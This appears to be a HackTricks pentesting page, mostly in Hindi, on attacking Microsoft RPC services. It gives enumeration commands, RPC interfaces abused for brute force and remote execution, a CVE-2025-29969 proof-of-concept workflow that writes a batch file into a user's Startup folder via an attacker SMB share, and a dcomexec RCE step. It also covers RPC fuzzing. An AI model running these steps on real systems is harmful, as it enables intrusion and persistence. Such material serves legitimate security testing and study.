135, 593 - Pentesting MSRPC

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Microsoft Remote Procedure Call (MSRPC) protocol एक client-server मॉडल है जो किसी प्रोग्राम को नेटवर्क की विशिष्टताओं को समझे बिना दूसरे कंप्यूटर पर स्थित किसी प्रोग्राम से सेवा माँगने की अनुमति देता है; यह प्रारम्भ में ओपन-सोर्स सॉफ़्टवेयर से व्युत्पन्न था और बाद में Microsoft द्वारा विकसित और कॉपीराइट किया गया।

RPC endpoint mapper तक TCP और UDP पोर्ट 135 के माध्यम से पहुँचा जा सकता है, SMB पर TCP 139 और 445 (with a null or authenticated session), और TCP पोर्ट 593 पर वेब सर्विस के रूप में।

135/tcp   open     msrpc         Microsoft Windows RPC

MSRPC कैसे काम करता है?

Initiated by the client application, the MSRPC process involves calling a local stub procedure that then interacts with the client runtime library to prepare and transmit the request to the server. This includes converting parameters into a standard Network Data Representation format. The choice of transport protocol is determined by the runtime library if the server is remote, ensuring the RPC is delivered through the network stack.

https://0xffsec.com/handbook/images/msrpc.png

उपलब्ध RPC सेवाओं की पहचान

TCP, UDP, HTTP, और SMB पर उपलब्ध RPC सेवाओं के एक्सपोज़र का पता RPC locator सेवा और व्यक्तिगत एंडपॉइंट्स को क्वेरी करके लगाया जा सकता है। rpcdump जैसे टूल्स अद्वितीय RPC सेवाओं की पहचान में मदद करते हैं, जिन्हें IFID मानों से प्रदर्शित किया जाता है, जो सेवा विवरण और कम्युनिकेशन बाइंडिंग्स को प्रकट करते हैं:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

RPC locator service तक पहुंच विशिष्ट प्रोटोकॉल्स के माध्यम से सक्षम होती है: ncacn_ip_tcp और ncadg_ip_udp (पोर्ट 135 के माध्यम से पहुँच के लिए), ncacn_np (SMB कनेक्शनों के लिए), और ncacn_http (वेब-आधारित RPC संचार के लिए)। निम्नलिखित कमांड Metasploit मॉड्यूल्स के उपयोग का उदाहरण देते हैं जो MSRPC सेवाओं का ऑडिट और इंटरैक्ट करने के लिए हैं, मुख्यतः पोर्ट 135 पर केंद्रित:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

All options except tcp_dcerpc_auditor are specifically designed for targeting MSRPC on port 135.

प्रमुख RPC इंटरफेस

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Description: LSA इंटरफ़ेस, उपयोगकर्ताओं की सूची निकालने के लिए उपयोग किया जाता है।
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Description: LSA Directory Services (DS) इंटरफ़ेस, डोमेनों और ट्रस्ट संबंधों को सूचीबद्ध करने के लिए उपयोग किया जाता है।
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Description: LSA SAMR इंटरफ़ेस, सार्वजनिक SAM डेटाबेस तत्वों (उदा., usernames) तक पहुँचने के लिए उपयोग किया जाता है और account lockout policy की परवाह किए बिना user passwords को brute-force करने के लिए।
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Description: Task scheduler, रिमोट रूप से कमांड्स निष्पादित करने के लिए उपयोग किया जाता है।
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Description: Remote registry service, सिस्टम रजिस्ट्री तक पहुँचने और उसे संशोधित करने के लिए प्रयोग होता है।
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Description: Service control manager और server services, रिमोट रूप से सेवाओं को स्टार्ट/स्टॉप करने और कमांड्स चलाने के लिए उपयोग किए जाते हैं।
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Description: Service control manager और server services, रिमोट रूप से सेवाओं को स्टार्ट/स्टॉप करने और कमांड्स चलाने के लिए उपयोग किए जाते हैं।
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Description: DCOM इंटरफ़ेस, brute-force password grinding और WM के माध्यम से जानकारी एकत्र करने के लिए उपयोग किया जाता है।

MS-EVEN (EventLog Remoting) प्रिमिटिव्स

The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. SafeBreach’s CVE-2025-29969 (EventLog-in) विश्लेषण दिखाता है कि MS-EVEN में एक TOCTOU दोष है जो एक authenticated low-privileged उपयोगकर्ता को लक्ष्य पर एक remote arbitrary file write ट्रिगर करने की अनुमति देता है: हमलावर द्वारा चुनी गई सामग्री हमलावर द्वारा चुनी गई पथ पर लिख दी जाती है बिना रिमोट लिखने के लिए Administrator अधिकारों की आवश्यकता के।

Operational pattern (PoC workflow): stage a valid EVTX plus your payload on an SMB share, then race the MS-EVEN logic so the target fetches the SMB-hosted file and writes it to the chosen path.

impacket-smbserver -smb2support Share /tmp/safebreach

प्रकाशित PoC एक hard-coded SMB share name (Share) का उपयोग करता है, इसलिए यदि आप इसे बदलते हैं तो आपको script को भी अपडेट करना होगा।

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

एक सामान्य चेन है कि persistence और अगले लॉगऑन पर execution के लिए per-user Startup folder में ड्रॉप करना (execution उस उपयोगकर्ता के context में होता है)।

MS-EVEN CreateFile-style primitive (recon के लिए)

MS-EVEN एक और file open/create primitive भी एक्सपोज़ करता है (PoC में CreateFile के रूप में वर्णित) जिसे किसी भी प्रमाणीकृत उपयोगकर्ता द्वारा यह जांचने के लिए इस्तेमाल किया जा सकता है कि remote file या directory मौजूद है या नहीं। यह सामान्य install paths (जैसे, C:\Program Files\<Vendor>) की जाँच करके software discovery के लिए उपयोगी है:

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

IP पतों की पहचान

https://github.com/mubix/IOXIDResolver का उपयोग करते हुए, जो Airbus research से आता है, IOXIDResolver इंटरफ़ेस के अंदर ServerAlive2 मेथड का दुरुपयोग करना संभव है।

इस मेथड का उपयोग HTB बॉक्स APT से इंटरफ़ेस जानकारी को IPv6 पते के रूप में प्राप्त करने के लिए किया गया है। 0xdf APT writeup के लिए here देखें; इसमें rpcmap.py का उपयोग करके Impacket के साथ stringbinding के माध्यम से एक वैकल्पिक तरीका शामिल है (ऊपर देखें)।

वैध credentials के साथ RCE निष्पादित करना

यदि किसी मान्य उपयोगकर्ता के credentials उपलब्ध हों तो impacket फ्रेमवर्क के dcomexec.py का उपयोग करके किसी मशीन पर remote कोड निष्पादित करना संभव है।

ध्यान दें: उपलब्ध विभिन्न objects के साथ कोशिश करना न भूलें

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

पोर्ट 593

rpctools से rpcdump.exe इस पोर्ट के साथ इंटरैक्ट कर सकता है।

MS-RPC इंटरफ़ेस का Automated Fuzzing

MS-RPC इंटरफ़ेस एक बड़ा और अक्सर undocumented attack surface उजागर करते हैं। ओपन-सोर्स MS-RPC-Fuzzer PowerShell मॉड्यूल James Forshaw’s NtObjectManager पर आधारित है ताकि Windows binaries में पहले से मौजूद interface metadata से dynamically RPC client stubs बनाए जा सकें। एक बार stub मौजूद हो जाने पर मॉड्यूल mutated inputs के साथ प्रत्येक procedure पर हमला कर सकता है और परिणाम लॉग कर सकता है, जिससे reproducible, large-scale fuzzing of RPC endpoints possible without writing a single line of IDL

1. इंटरफ़ेस की इन्वेंटरी

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData हर इंटरफ़ेस के लिए मिलने वाले UUID, संस्करण, binding strings (named-pipe / TCP / HTTP) और पूर्ण प्रक्रिया प्रोटोटाइप को निकालकर rpcServerData.json में स्टोर करेगा।

2. fuzzer चलाएँ

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Relevant options:

  • -MinStrLen / -MaxStrLen – उत्पन्न स्ट्रिंग्स के लिए लंबाई सीमा
  • -MinIntSize / -MaxIntSize – म्यूटेट किए गए integers के लिए मान सीमा (overflow testing के लिए उपयोगी)
  • -Sorted – उन प्रक्रियाओं को एक ऐसे क्रम में चलाएँ जो parameter dependencies का सम्मान करता है ताकि एक कॉल का आउटपुट अगले कॉल के इनपुट के रूप में काम कर सके (यह पहुँच योग्य पाथ्स को भारी रूप से बढ़ाता है)

The fuzzer implements 2 strategies:

  1. Default fuzzer – यादृच्छिक मूलभूत मान और जटिल प्रकारों के लिए डिफ़ॉल्ट उदाहरण
  2. Sorted fuzzer – निर्भरता-आधारित क्रम (देखें docs/Procedure dependency design.md)

हर कॉल को एटॉमिक रूप से log.txt में लिखा जाता है; क्रैश के बाद आखिरी लाइन तुरंत आपको दोषी procedure बता देती है। प्रत्येक कॉल का परिणाम तीन JSON फ़ाइलों में वर्गीकृत किया जाता है:

  • allowed.json – कॉल सफल हुआ और डेटा लौटा
  • denied.json – सर्वर ने Access Denied के साथ जवाब दिया
  • error.json – कोई अन्य त्रुटि / क्रैश

3. Neo4j के साथ विज़ुअलाइज़ करें

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j JSON आर्टिफैक्ट्स को एक ग्राफ संरचना में कन्वर्ट करता है जहाँ:

  • RPC servers, interfaces और procedures nodes
  • Interactions (ALLOWED, DENIED, ERROR) relationships

Cypher queries का उपयोग करके जल्दी से खतरनाक procedures पहचानने या crash से पहले हुई कॉल श्रृंखला को ठीक वैसे ही replay करने के लिए किया जा सकता है।

⚠️ The fuzzer विनाशकारी है: सर्विस क्रैश और यहाँ तक कि BSODs की उम्मीद रखें — हमेशा इसे एक अलग (isolated) VM snapshot में चलाएँ।

Automated Interface Enumeration & Dynamic Client Generation (NtObjectManager)

PowerShell गुरु James Forshaw ने open–source NtObjectManager मॉड्यूल के अंदर Windows RPC internals के अधिकांश हिस्सों को उजागर किया। इसका उपयोग करके आप किसी भी RPC server DLL / EXE को सेकंडों में एक fully-featured client stub में बदल सकते हैं — कोई IDL, MIDL या manual unmarshalling आवश्यक नहीं।

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

आम तौर पर आउटपुट में पैरामीटर प्रकार ठीक वैसे ही दिखाई देते हैं जैसे वे MIDL में होते हैं (उदाहरण के लिए FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT)।

एक बार जब आप इंटरफ़ेस जान लेते हैं, तो आप कम्पाइल करने के लिए तैयार C# क्लाइंट जनरेट कर सकते हैं:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

उत्पादित stub के अंदर आपको निम्नलिखित methods मिलेंगे:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

PowerShell सहायक Get-RpcClient एक इंटरएक्टिव क्लाइंट ऑब्जेक्ट बना सकता है ताकि आप प्रक्रिया को तुरंत कॉल कर सकें:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

Authentication (Kerberos / NTLM) और encryption स्तर (PacketIntegrity, PacketPrivacy, …) सीधे Connect-RpcClient cmdlet के माध्यम से दिए जा सकते हैं – यह उच्च-privilege named pipes की सुरक्षा करने वाले Security Descriptors को बायपास करने के लिए आदर्श है।

संदर्भ-सचेत RPC Fuzzing (MS-RPC-Fuzzer)

Static interface का ज्ञान अच्छा है, लेकिन असल में आप जो चाहते हैं वह है coverage-guided fuzzing जो context handles और जटिल parameter chains को समझता है। ओपन-सोर्स MS-RPC-Fuzzer प्रोजेक्ट ठीक इसी वर्कफ्लो को ऑटोमेट करता है:

  1. लक्षित बाइनरी द्वारा export किए गए प्रत्येक interface/procedure को सूचीबद्ध करें (Get-RpcServer).
  2. प्रत्येक interface के लिए dynamic clients जनरेट करें (Format-RpcClient).
  3. इनपुट पैरामीटर को रैंडमाइज़ करें (wide strings की length, integer ranges, enums) जबकि original NDR type का सम्मान किया जाए।
  4. एक कॉल द्वारा लौटाए गए context handles को ट्रैक करें ताकि follow-up procedures को ऑटोमैटिकली फ़ीड किया जा सके।
  5. चयनित transport (ALPC, TCP, HTTP या named pipe) के खिलाफ high-volume calls भेजें।
  6. exit statuses / faults / timeouts को लॉग करें और एक Neo4j import फ़ाइल एक्सपोर्ट करें ताकि interface → procedure → parameter संबंध और crash clusters को विज़ुअलाइज़ किया जा सके।

Example run (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

एक भी out-of-bounds write या अनपेक्षित exception तुरंत प्रकट हो जाएगा, साथ में वही exact opnum + fuzzed payload जो इसे ट्रिगर किया — एक स्थिर proof-of-concept exploit शुरू करने के लिए आदर्श बिंदु।

⚠️ कई RPC services ऐसे processes में execute होती हैं जो NT AUTHORITY\SYSTEM के रूप में चल रहे होते हैं। यहाँ कोई भी memory-safety issue आमतौर पर local privilege escalation में परिवर्तित हो जाती है या (जब SMB/135 के माध्यम से एक्सपोज़ हो) remote code execution.

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें